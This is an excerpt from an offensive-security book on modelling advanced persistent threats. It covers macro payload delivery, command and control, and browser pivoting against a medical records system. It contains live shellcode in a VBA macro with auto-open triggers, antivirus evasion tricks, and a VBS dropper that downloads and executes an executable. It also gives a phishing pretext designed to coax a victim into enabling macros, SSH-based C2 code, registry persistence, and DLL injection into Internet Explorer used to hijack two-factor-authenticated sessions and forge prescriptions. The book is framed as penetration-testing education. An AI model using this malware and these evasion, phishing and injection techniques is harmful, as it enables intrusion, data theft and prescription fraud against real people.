139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _
98,111,98,46,99,111,109,0)
Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)
For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu)
Hdhskh = Wizksxyu(Rxnffhltx)
Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh, 1)
Next Rxnffhltx
Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
This code has been thoughtfully obfuscated by the tool (function names and variables have been generated randomly) and the shellcode itself has been encoded using several iterations of the shikata-ga-nai algorithm. Nonetheless, this code will light up like a Christmas tree the moment it comes into contact with any kind of malware detection or virus scanner. By way of demonstration, we take this code, import it into a Word document, and see how easily it can be detected (see Figure 1.3).
[image: Snapshot showing VBA exploit code imported into MS Word.]
Figure 1.3: VBA exploit code imported into MS Word.
Save this Word doc as a macro-enabled document, as shown in Figure 1.4.
[image: Snapshot showing Documents Library Folder.]
Figure 1.4: Saving for initial antivirus proving.
If we upload this document to the aggregate virus scanning website www.virustotal.com we can see how it holds up to the analysis of 54 separate malware databases, as shown in Figure 1.5.
[image: Snapshot showing high AV hit rate.]
Figure 1.5: This demonstrates an unacceptably high AV hit rate.
48 hits out of 54 AV engines? Not nearly good enough.
VirusTotal also provides some heuristic information that hints as to how these results are being derived, as shown in Figure 1.6.
[image: Snapshot showing VirusTotal screen providing heuristic information.]
Figure 1.6: Additional information.
Within the Tags section, we see our biggest offenders: auto-open and code injection. Let's pull the VBA code apart section by section and see what we can do to reduce our detection footprint. If we know in advance what AV solution the target is running, so much the better, but your goal should be nothing less than a detection rate of zero.
Examining the VBA Code
In the function declaration section, we can see three functions being imported from kernel32.dll. The purpose of these functions is to create a process thread, allocate memory for the shellcode, and move the shellcode into that memory space. Realistically, there is no legitimate need for this functionality to be made available in macro code that runs inside a word processor or a spreadsheet. As such (and given their necessity when deploying shellcode), their presence will often be enough to trigger malware detection.
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRef Und As Any, ByVal Issacgbu As Long) As LongPtr
Do note however, that a lot of virus scanners won't scan the declaration section, only the main body of code, which means you can alias a function import, for instance, as:
Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr
and call only the alias itself in the body of the code. This is actually sufficient to bypass a number of AV solutions, including Microsoft's Endpoint Protection.
Avoid Using Shellcode
Staging the attack as shellcode is convenient, but can be easily detected.
Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _
98,111,98,46,99,111,109,0)
We can encode this in a number of ways using a number of iterations to ensure that it doesn't trigger an AV signature and that's great; that works fine. The problem is that doesn't alter the fact that it is still obviously shellcode. An array of bytes (despite being coded here as decimal rather than the more familiar hexadecimal) is going to look suspicious to AV and is most likely going to trigger a generic shellcode warning. Additionally, modern antivirus software is capable of passing compiled code (including shellcode) into a micro-virtual machine to test heuristically. It then doesn't matter how it's encoded—the AV is going to be able to see what it's doing. It makes sense for msfvenom to wrap its attacks up like this because then it can deploy all of its many payloads in one VBA script, but for a serious APT engagement it's not nearly covert enough. It's possible to encode this array in a number of ways (for instance as a Base64 string) and then reconstruct it at runtime, but this doesn't reduce AV hit count enough to be generally worth the effort.
The next block of code contains the function calls themselves:
Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)
For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu)
Hdhskh = Wizksxyu(Rxnffhltx)
Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh,
Next Rxnffhltx
Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)
Nothing much to add here except that functions VirtualAlloc, RtlMoveMemory, and CreateThread are inherently suspicious and are going to trigger AV no matter how innocent the rest of your code. These functions will be flagged even if there is no shellcode payload present.
Automatic Code Execution
The last point I want to make concerns the overly egregious use of auto-open functionality. This function ensures your macro will run the moment the user consents to enable content. There are three different ways to do this depending on whether your macro is running in a Word document, an Excel spreadsheet, or an Excel Workbook. The code is calling all three to ensure that whatever application you paste it into, the code will fire. Again, there is no legitimate need to do this. As a macro developer, you should know which environment you are coding for.
The default subroutine is called by Word and contains our payload:
Sub Auto_Open
Main block of code
End Sub
The other two functions are called by Excel and simply point back to Word's Auto_Open function.
Sub AutoOpen()
Auto_Open
End Sub
and
Sub Workbook_Open()
Auto_Open
End Sub
Use of one auto-open subroutine is suspicious, use of all three will almost certainly be flagged. Just by removing the latter two calls for a Word document, we can immediately reduce our AV hit rate. Removing all three reduces that count even further.
There are native functions within VBA that allow an attacker to download and execute code from the Internet (the Shell and URLDownLoadToFile functions, for example); however, these are subject to the same issues we've seen here–they are suspicious and they are going to get flagged.
The bottom line is that antivirus/malware detection is extremely unforgiving to MS Office macros given their long history of being used to deliver payloads. We therefore need to be a little more creative. What if there was a way to deploy an attack to disk and execute it without the use of shellcode and without the need for VBA to actively download and execute the code itself?
Using a VBA/VBS Dual Stager
We can solve this problem by breaking our stager down into two parts. Enter the Windows Scripting Host—also a subset of the Visual Basic language. Where VBA is only ever used within Office documents, VBS is a standalone scripting language analogous to Python or Ruby. It is designed and indeed required to do much more complex tasks than automating functionality within MS Office documents. It is therefore given a much greater latitude by AV. Like VBA, VBS is an interpreted non-compiled language and code can be called from a simple text file. It is a viable attack therefore to deploy an innocent-looking VBA macro that will carry a VBS payload, write it to file, and execute it. The heavy lifting will then be performed by the VBS code. While this will also require the use of the Shell function in VBA, we will be using it not to execute unknown or suspicious code, but for the Windows Scripting Host instead, which is an integral part of the operating system. So basically, we need two scripts—one VBA and one VBS—and both will have to be able to pass through AV undetected. The VBA macro subroutine to do this needs to look roughly like the following:
Sub WritePayload()
Dim PayLoadFile As Integer
Dim FilePath As String
FilePath = "C:\temp\payload.vbs"
PayloadFile = FreeFile
Open FilePath For Output As TextFile
Print #PayLoadFile, "VBS Script Line 1"
Print #PayLoadFile, " VBS Script Line 2"
Print #PayLoadFile, " VBS Script Line 3"
Print #PayLoadFile, " VBS Script Line 4"
Close PayloadFile
Shell "wscript c:\temp\payload.vbs"
End Sub
Keep Code Generic Whenever Possible
Pretty straightforward stuff. Incidentally, the use of the word “payload” here is illustrative and should not be emulated. The benefit of keeping the code as generic as possible also means it will require very little modification if attacking an Apple OSX platform rather than Microsoft Windows.
As for the VBS itself, insert the following script into the print statements and you have a working attack—again this is contrived for illustrative purposes and there are as many ways of doing this as there are coders:
HTTPDownload "http://www.wherever.com/files/payload.exe", "C:\temp"
Sub HTTPDownload( myURL, myPath )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
If objFSO.FolderExists( myPath ) Then
strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
strFile = myPath
End If
Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
objHTTP.Open "GET", myURL, False
objHTTP.Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
objFile.Close( )
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "c:\temp\payload.exe"
End Sub
Of course, anyone examining the VBA code is going to determine its intent fairly quickly, so I suggest some form of obfuscation for a real-world attack. Also note that this level of complexity is completely unnecessary to download and execute an executable. It would be possible to use the shell command to call various tools shipped with Windows to do this in a single command (in fact, I'll be doing this later in Chapter 6, in the section entitled, “VBA Redux”), but I wanted an excuse to introduce the idea of using VBA to drop a VBS script.
Code Obfuscation
There are a number of ways to obfuscate code. For the purposes of this exercise, we could encode the lines of the payload as Base64 and decode them prior to writing them to the target file; this is primitive but again illustrative. In any event, if a macro attack is discovered by a human party rather than AV and a serious and competent forensic exercise was conducted to determine the purpose of the code, then no amount of obfuscation if going to shield the intentions of the code.
This code can be further obfuscated (for example with an XOR function); it's really up to you how complex you want to make your code, although I don't recommend commercial solutions that require integrating third-party libraries into a document, as again these will be flagged by AV.
Let's integrate our stage two payload into our stage one VBA macro and see how it stands up to AV. Again, we use VirusTotal. See Figure 1.7.
[image: Snapshot showing VBA macro with two payloads integrated.]
Figure 1.7: A stealthy payload indeed.
Better, but what about the VBS payload itself once it touches disk? See Figure 1.8.
[image: Snapshot showing VBA macro with Qihoo-360.]
Figure 1.8: No, Qihoo-360 is not the Holy Grail of AV.
Uh-oh. We've got a hit by Qihoo-360. This is a Chinese virus scanner that claims to have close to half a billion users. No, I'd never heard of it either. It flags the code as virus.vbs.gen.33, which is another way of saying if it's a VBS file it's going to be declared as hostile by this product. This might be a problem in the highly unlikely event you ever encounter Qihoo-360.
So far, we've not included any mechanism for the code actually executing when our document is opened by the user.
Enticing Users
I don't like using the auto-open functions for reasons discussed previously and my opinion is that if a user is already invested enough to permit macros to run in the first place, then it's not a huge leap of the imagination to suppose they will be prepared to interact with the document in some further way. By way of example, with our attack in its current state, it will appear as shown in Figure 1.9 to the user when opened in Microsoft Word.
[image: Snapshot showing Blank document carrying macro payload.]
Figure 1.9: Blank document carrying macro payload.
Not very enticing is it? A blank document that's asking you to click a button with the words “Security Warning” next to it. Any macro, whether it's been code-signed or not, will contain this exact same message. Users have become somewhat jaded to the potential severity of clicking this button, so we have two problems left to solve—how to get the user to execute our code and how to make the document enticing enough to interact with. The first is technical; the second is a question of social engineering. The latter combined with a convincing email (or other delivery) pretext can be a highly effective attack against even the most security-aware targets.
There are some good books about social engineering out there. Check out Kevin Mitnick's Art of Deception (Wiley, 2002) or Chris Hadnagy's Social Engineering: The Art of Human Hacking (Wiley, 2010).
Let's start by creating that pretext.
One particularly effective means of getting a target to open a document and enable macros—even when their hindbrain is screaming at them to stop—is to imply that information has been sent to them in error; it's something they shouldn't be seeing. Something that would give them an advantage in some way or something that would put them at a disadvantage if they ignored it.
With address autocomplete in email clients, we've all sent an email in haste to the wrong person and we've all received something not intended for us. It happens all the time. Consider the following email that “should have been sent” to Jonathan Cramer in HR but accidentally found its way to Dr. Jonathan Crane:
To: Dr. Jonathan Crane
From: Dr. Harleen Quinzel
Subject: CONFIDENTIAL: Second round redundancies
Jon,
Attached is the latest proposed list for redundancies in my team in the intensive treatment department. I'm not happy losing any members of staff given our current workload but at least now we have a baseline for discussion – I'll be on campus on Friday so please revert back to me by then.
Regards,
Harley
p.s. The document is secured as per hospital guidelines. When you're prompted for it the password is 'arkham'.
This is a particularly vicious pretext. Dr. Crane is now probably wondering if he's on that list for redundancies.
Attached to this email is our macro-carrying document, as shown in Figure 1.10.
[image: Snapshot showing macro-carrying document.]
Figure 1.10: A little more convincing.
Now we want to add a text box and button to the document that will appear when the target enables macros. We want to tie our VBS dropper code to the button so that it is executed when pressed, regardless of what the user types in the text box. A message box will then appear informing the target that the password is incorrect, again regardless of what was entered.
An additional advantage of the approach of this attack is that (assuming there are no additional indicators such as AV alerts) the target is unlikely to raise the alarm either to the sender, or to IT, because they weren't supposed to see this document in the first place, were they?
To assign a command or macro to a button and insert that button in your text, position the insertion point where you want the button to appear and then follow these steps:
Press Ctrl+F9 to insert a field.
Between the field brackets, type MacroButton, then the name of the command or macro you want the button to execute.
Type the text you want displayed, or insert a graphic to be used as a button.
Press F9 to update the field display.
At the end of the WritePayload() subroutine, you might want to consider adding the following line:
MsgBox "Incorrect password. IT security will be notified following further violations by " &
(Environ$("Username"))
This will generate a popup message box masquerading as a security alert that includes the username of the currently logged in user. It's this personalized approach that makes the difference between success and failure when delivering your initial payload.
Command and Control Part 1: Basics and Essentials
Having determined the means by which we intend to deliver our payload, it is time to give serious thought as to what that payload should be. In this section, we will look at the bare bones essentials of what is needed in a Command and Control (C2) infrastructure. Each chapter we will revisit, refine, and add functionality in order to illustrate the necessary or desirable elements that make up the core of long-term APT technology once initial penetration of the target has occurred. However, in this chapter, we cover the basics, so let's define the bare minimum of what such a system should be capable of once deployed:
Egress connectivity—The ability to initiate connections back out to our C2 server over the Internet in such a way that minimizes the possibility of firewall interference.
Stealth—Avoidance of detection both by host or network-based Intrusion Detection Systems (IDS).
Remote file system access—Being able to copy files to and from the compromised machine.
Remote command execution—Being able to execute code or commands on the compromised machine.
Secure communications—All traffic between the compromised host and the C2 server needs to be encrypted to a high industry standard.
Persistence—The payload needs to survive reboots.
Port forwarding—We will want to be able to redirect traffic bi-directionally via the compromised host.
Control thread—Ensuring connections are reestablished back to the C2 server in the event of a network outage or other exceptional situation.
The quickest, easiest, and most illustrative means of building such a modular and future-proof infrastructure is the use of the secure and incredibly versatile SSH protocol. Such an infrastructure will be divided into two parts—the C2 server and the payload itself—each with the following technical requirements.
C2 Server
SSH serving running on TCP port 443
Chroot jail to contain the SSH server
Modified SSH configuration to permit remotely forwarded tunnels
Payload
Implementation of SSH server on non-standard TCP port
Implementation of SSH client permitting connections back to C2 server
Implementation of SSH tunnels (both local and dynamic) over the SSH client permitting C2 access to target file system and processes
To implement the requirements for the payload, I strongly advocate using the libssh library (https://www.libssh.org/) for the C programming language. This will allow you to create very tight code and gives superb flexibility. This library will also dramatically reduce your software development time. As libssh is supported on a number of platforms, you will be able to create payloads for Windows, OSX, Linux, or Unix with a minimum of code modification. To give an example of how quick and easy libssh is to use, the following code will implement an SSH server running on TCP port 900. The code is sufficient to establish an authenticated SSH client session (using a username and password rather than a public key):
#include
#include
#include
#include
int main()
{
ssh_session my_ssh_session;
int rc;
char *password;
my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
exit(-1);
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "c2host");
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, 443);
ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "c2user");
rc = ssh_connect(my_ssh_session);
if (verify_knownhost(my_ssh_session) < 0)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
exit(-1);
}
password = ("Password");
rc = ssh_userauth_password(my_ssh_session, NULL, password);
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
}
While this code creates an extremely simple SSH server instance:
#include "config.h"
#include
#include
#include
#include
#include
#include
#include
static int auth_password(char *user, char *password){
if(strcmp(user,"c2payload"))
return 0;
if(strcmp(password,"c2payload"))
return 0;
return 1; }
ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT_STR, 900)
return 0
} int main(){
sshbind=ssh_bind_new();
session=ssh_new();
ssh_disconnect(session);
ssh_bind_free(sshbind);
ssh_finalize();
return 0;
}
Finally, a reverse tunnel can be created as follows:
rc = ssh_channel_listen_forward(session, NULL, 1080, NULL);
channel = ssh_channel_accept_forward(session, 200, &port);
There are exception handling routines built into the libssh library to monitor the health of the connectivity.
The only functionality described here that's not already covered is persistence. There are many different ways to make your payload go persistent in Microsoft Windows and we'll cover that in the next chapter. For now we'll go the simple illustrative route. I don't recommend this approach in real-world engagements, as it's pretty much zero stealth. Executed from C:
char command[100];
strcpy( command, " reg.exe add "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Innoce
" );
system(command);
A picture paints a thousand words, as you can see in Figure 1.11.
[image: Schematic for basic Command and Control infrastructure.]
Figure 1.11: Initial basic Command and Control infrastructure.
Once we have a remote forward port, we have as complete access to the compromised host as the user process that initiated the VBA macro. We can use SFTP over the SSH protocol for file system access. In order for the payload to initiate remote tunnels, the following lines should be added to the /etc/ssh/sshd.config file on the C2 host:
Match User c2user
GatewayPorts yes
This setup has significant shortfalls; it requires a constant connection between the payload and the C2, which can only handle one connection (remote tunnel) and therefore one compromised host at a time. There is no autonomy or intelligence built into the payload to handle even slightly unusual situations such as needing to tunnel out through a proxy server. However, by the end of the book, our C2 infrastructure will be svelte, intelligent, stealthy, and very flexible.
The Attack
We've looked at ways of constructing and delivering a payload that will give an attacker remote access to a target's workstation, albeit in a limited and primitive manner. However, our initial goal remains the same, and that is to use this access to add or modify patient records with a focus on drug prescriptions.
To reiterate, our target is running Microsoft's Internet Explorer browser (IE) and using it to access the Pharmattix web application. No other browser is supported by the company. We could deploy a key logger and capture the doctor's access credentials but this doesn't solve the problem of the two-factor authentication. The username and password are only part of the problem, because a smartcard is also required to access the medical database and must be presented when logging in. We could wait outside the clinic, mug the doctor, and steal his or her wallet (the smartcards are conveniently wallet sized), but such an approach would not go unnoticed and, for modeling an APT, the client would likely disapprove.
Bypassing Authentication
What if we could bypass all authentication mechanisms entirely? We can! This technique is called browser pivoting—essentially, we use our access to the target workstation to inherit permissions from the doctor's browser and transparently exploit his or her permissions to do exactly what we want.
To accomplish this attack, we need to be able to do three things:
Inject code into the IE process accessing the medical database.
Create a web proxy Dynamic Link Library (DLL) based on the Microsoft WinInet API.
Pass web traffic through our SSH tunnel and the newly created proxy.
Let's look at all three stages. None of them is as complex as they might initially appear.
Stage 1: DLL Injection
DLL injection is the process of inserting code into an existing (running) process (program). The easiest way to do this is to use the LoadLibraryA() function in kernel32.dll. This call will pretty much take care of the entire workflow in that it will insert and execute our DLL for us. The problem is that this function will register our DLL with the target process, which is a big antivirus no-no (particularly in a well monitored process such as Internet Explorer). There are other, better ways we can do this. Essentially it breaks down into four steps:
Attach to the target process (in this case Internet Explorer).
Allocate memory within the target process.
Copy the DLL into the target process memory and calculate an appropriate memory addresses.
Instruct the target process to execute your DLL.
Each of these steps is well documented within the Windows API.
Attaching to a Process
hHandle = OpenProcess( PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
Allocating Memory
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE,
procID );
Allocating Memory
GetFullPathName(TEXT("proxy.dll"),
BUFSIZE,
dllPath,
NULL);
hFile = CreateFileA( dllPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );
dllFileLength = GetFileSize( hFile,
NULL );
remoteDllAddr = VirtualAllocEx( hProcess,
NULL,
dllFileLength,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE );
Insert the DLL and Determine the Memory Address
lpBuffer = HeapAlloc( GetProcessHeap(),
0,
dllFileLength);
ReadFile( hFile,
lpBuffer,
dllFileLength,
&dwBytesRead,
NULL );
WriteProcessMemory( hProcess,
lpRemoteLibraryBuffer,
lpBuffer,
dllFileLength,
NULL );
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);
Execute the Proxy DLL Code
rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);
I suggest you become familiar with these API calls, as understanding how to migrate code between processes is a core skill in APT modeling and there are many reasons why we might we want to do this, including to bypass process whitelisting, for example, or to migrate an attack into a different architecture or even to elevate our privileges in some way. For instance, should we want to steal Windows login credentials, we would inject our key logger into the WinLogon process. We'll look at similar approaches on UNIX-based systems later. In any event, there are a number of existing working attacks to perform process injection if you don't want to create your own. This functionality is seamlessly integrated into the Metasploit framework, the pros and cons of which we will examine in future chapters.
Stage 2: Creating a Proxy DLL Based on the WinInet API
Now that we know what we have to do to get code inside the IE process, what are we going to put there and why?
Internet Explorer uses the WinInet API exclusively to handle all of its communications tasks. This is not surprising given that both are core Microsoft technologies. Any program may use the WinInet API and it's capable of performing tasks such as cookie and session management, authentication, and so on. Essentially, it has all the functionality you would need to implement a web browser or related technology such as an HTTP proxy. Because WinInet transparently manages authentication on a per process basis, if we can inject our own proxy server into our target's IE process and route our web traffic through it, then we can inherit their application session states. This includes those authenticated with two-factor authentication.
IMPLEMENTING PROXY SERVER FUNCTIONALITY
Building a proxy server is beyond the scope of this work; however, there are third parties that sell commercial proxy libraries for developers. They are implemented solely using the WinInet API that can be integrated according to your needs.
Stage 3: Using the Injected Proxy Server
Assuming that the proceeding steps went according to plan, we now have an HTTP proxy server running on our target machine (we'll say TCP port 1234) and restricted to the local Ethernet interface. Given that our Command and Control infrastructure is not sufficiently advanced to open remote tunnels on the fly, we will need to hardcode an additional tunnel into our payload. At present, the only tunnel back into the target workstation is for accessing the SSH server. We need to add a remote tunnel that points to 1234 on the target and creates an endpoint (we'll say TCP port 4321) on our C2 server. This will look something like Figure 1.12.
[image: Schematic for completed attack with complete access to the medical records.]
Figure 1.12: The completed attack with complete access to the medical records.
At this point, we can add new patients and prescribe them whatever they want. No ID is required when picking meds up from the pharmacy, as ID is supposed to be shown when creating an account. Of course, this is just a tick box as far as the database is concerned. All we'll be asked when we go to pick up our methadone is our date of birth.
“There is no cloud, it's just someone else's computer.”
—Unknown
Summary
In this chapter, you learned how to use VBA and VBS to drop a Command and Control payload. With that payload in place, you've seen how it is possible to infiltrate the Internet Explorer process and subvert two-factor authentication without the need for usernames, passwords, or physical access tokens.
It's important to note that a lot of people think that Macro attacks are some kind of scourge of the ’90s that just sort of went away. The truth is they never went away, but for a long time there were just easier ways of getting malware on to a target's computer (like Adobe Flash for example). As such attacks become less and less viable, the Office Macro has seen a resurgence in popularity.
What are the takeaways from this chapter? Firstly, Macros—how many times have you seen one that you really needed to do your job? If someone seems like they're going all out to get you to click that enable button, it's probably suspect. It's probably suspect anyway. A return email address is no indicator of the identity of the sender.
Two-factor authentication raises the bar but it's not going to protect from a determined attacker; regardless of the nature of the second factor (i.e., smartcard or SMS message), the result is the same as if simple single-factor authentication was used: a stateless HTTP session is created that can be subverted through cookie theft or a man-in-the-browser attack. Defense in depth is essential.
Everything so far has been contrived and straightforward in order to make concepts as illustrative as possible. Moving forward, things are going to get progressively more complex as we explore new attacks and possibilities. From now on, we will concentrate on maximum stealth without compromise—the hallmark of a successful APT.
In the next chapter, the C2 infrastructure will get more advanced and more realistic and we'll look at how Java applets can be a stealthy means of staging payloads.
Exercises
It's been necessary to cover a lot of ground in this chapter using technologies you may not be familiar with. I suggest working through the following exercises to gain confidence with the concepts, though doing so is not a prerequisite for proceeding to the next chapter.
Implement the C2 infrastructure as described in this chapter using C and libssh. Alternatively, use whatever programming language and libraries you are familiar with.
Implement a C2 dropper in VBS that downloads a custom payload as shellcode rather than as an .exe and injects it directly into memory. Use the API calls from the initial VBA script.
Assuming your payload had to be deployed as shellcode within a VBA script, how would you obfuscate it, feed it into memory one byte at a time, and execute it? Use VirusTotal and other resources to see how AV engines react to these techniques.
Chapter 2
Stealing Research
This chapter continues to build on the core concepts investigated in Chapter 1, “Payload Delivery and Command and Control.” In doing so, it presents a very different environment and a very different target concept.
Universities have long been considered “soft” targets for attackers and rightly so. Very few colleges have the budget to develop and maintain a coherent security strategy. Creating a collaborative academic environment is in a sense an anathema to implementing information security at any level. Colleges can have vast sprawling networks containing many different operating systems and technologies. There is often no effective central authority for security and the overall infrastructure will have evolved over years with considerable reliance on legacy systems. The painful truth is that at some point you become too big to survive.
WHY STUDY WHEN YOU CAN STEAL A DEGREE?
There are other reasons that top-tier educational environments might be targeted. Some years ago, I was the lead forensic investigator performing an incident response exercise at one of the most prestigious colleges in the world. The institution believed (correctly) that their student records system had been breached. The compromise resulted in one graduate's scripts being altered to reflect the details of the attacker, name, date of birth, and so forth. However, the student number wasn't changed as this would have broken the database's indexing. The attacker then contacted the college and asked for a copy of “his” degree, a Bachelor of Science in Biology, stating that the original had been lost in a fire. These things happen, he paid the replacement fee and received a copy of the degree in his name. It takes a special kind of nerve to pull something like that off and he nearly got away with it. Through sheer dumb bad luck, he used “his” degree to apply for a post-graduate course in marine biology (his passion apparently) at another college, but unfortunately for him, his victim had applied there himself the year before. Transcripts were requested (which contain, among other things, student numbers) and things didn't add up. At first the victim himself was accused of fraud, but as it turns out, there are a lot more records of you at college than simply your academic achievements—housing and finances, for example. Also, there was the simple fact that no other students or lecturers had ever heard of the guy. Not surprisingly, the deception didn't stand up to careful analysis. What is also not surprising is that this stayed out of the news.
Not the weirdest assignment I've ever worked on, but it's up there.
Background and Mission Briefing
A large and prestigious university in the UK had been awarded a license from the home office to conduct research into human brain perfusion on behalf of the British Army. This is a controversial area of study, as its goal is to keep human brains alive and functioning outside of the body. If you're a member of the armed forces and wondering where they get live brains from, I suggest you read your contract very carefully. The research itself was not technically classified—the home office license was a matter of public record—but data security was a paramount feature of the project not because of the controversy but because such information would be considered equally useful to an enemy state. A penetration test was commissioned and it ended up on my desk. The timeframe for the attack was two weeks and the scope was as open as was legally possible. The dean of the university himself attended the scoping meeting as did a cadre of army officers.
The university's external IP range was a /16 with thousands of occupied addresses and hundreds of web applications. Fortunately, this was not the focus of the exercise. The interested parties wanted to know, all things being equal, how quickly the core network could be accessed by an attacker and what further leverage could be gained with regard to accessing systems within the medical research division. Anyone with access to university assets (other than students) could legitimately be considered a target—this was signed off by the dean himself.
Given the short time frame, I decided to go with a large-scale “smash and grab” operation. That is, to target a lot of users at once and hope enough mud would stick to the wall when attacking them. Identifying potentially appropriate targets would mean creating (at a minimum) a list of names, departments, and email addresses.
The criteria for a potential target would be:
A member of faculty for presumed elevated privileges to certain internal databases.
An academic in a field not related to computing in any way—the final choice came down to anthropology, archaeology, and social sciences. These targets would allow us to attempt access from outside the medical research environment.
Medical research team members themselves.
USE EXISTING FRAMEWORKS TO DO THE HEAVY LIFTING
If you're building a large target list, you might want to consider writing a web scraping script to do the heavy lifting. I highly recommend the Selenium framework, which you can find here:
http://www.seleniumhq.org/
This is an awesome set of free tools for web application testing that can export scripted tasks to anything from Python to C# code to allow for finely grained automation.
For this attack, with just a couple of hundred email addresses to compile, we'll go the manual route and get to know the targets a little. Proceeding with an email attack vector, you must now decide how you will gain initial intrusion into the target network. A VBA macro, as per the first chapter, would be a little clumsy for a larger scale attack such as this and that also requires Microsoft Office to be installed. In an academic environment it's likely users will have a much more disparate set of tools as well as a reliance on operating systems other than Microsoft Windows. This presents an interesting challenge—how can you deploy a stager payload that will run in any environment and, based on what it discovers, download and install the appropriate command and control infrastructure? The answer is to use Java.
Payload Delivery Part 2: Using the Java Applet for Payload Delivery
